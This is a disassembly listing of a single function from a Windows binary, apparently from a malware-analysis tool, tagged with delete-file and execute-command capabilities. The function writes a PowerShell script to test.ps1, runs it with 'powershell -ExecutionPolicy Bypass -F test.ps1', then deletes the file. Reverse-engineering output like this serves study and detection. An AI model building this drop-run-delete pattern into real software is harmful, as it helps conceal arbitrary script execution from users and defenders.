Function at 0x406820
Capabilities:
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41e760
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
mov eax, dword [0x42800c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xc8], 0
push 0xb0
lea eax, [ebp - 0xc4]
mov dword [ebp - 4], 0
push 0
push eax
mov byte [ebp - 4], 1
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0xc4], 0x4216f4
lea ecx, [ebp - 0x5c]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [ebp - 0xc0]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0xc8], 1
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc4], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xc8], eax
lea eax, [ebp - 0xc0]
mov ecx, eax
mov dword [ebp - 0xcc], eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xc0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebp - 0x78], 0
mov byte [ebp - 0x83], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x428808]
mov ecx, dword [0x42880c]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x88], 0
push ecx
push 2
push str.test.ps1
lea ecx, [ebp - 0xc0]
mov byte [ebp - 4], 5
call fcn.00404b00
test eax, eax
lea ecx, [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
push 0
je 0x406973
add ecx, dword [eax + 4]
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
jmp 0x40697e
add ecx, dword [eax + 4]
push 2
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
cmp dword [ebp + 0x1c], 0x10
lea edx, [ebp + 8]
push dword [ebp + 0x18]
cmovae edx, dword [ebp + 8]
lea ecx, [ebp - 0xc4]
call fcn.0040aa50
add esp, 4
mov ecx, eax
push 0x409e30
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0xc0]
call fcn.00404910
test eax, eax
jne 0x4069ce
push eax
mov eax, dword [ebp - 0xc4]
lea ecx, [ebp - 0xc4]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push str.powershell__ExecutionPolicy_Bypass__F_test.ps1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.test.ps1
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 8
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xc4]
call fcn.004036e0
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x406a33
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406a29
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x406a29
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov al, 1
jmp 0x406a47
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041d07c
mov esp, ebp
pop ebp
ret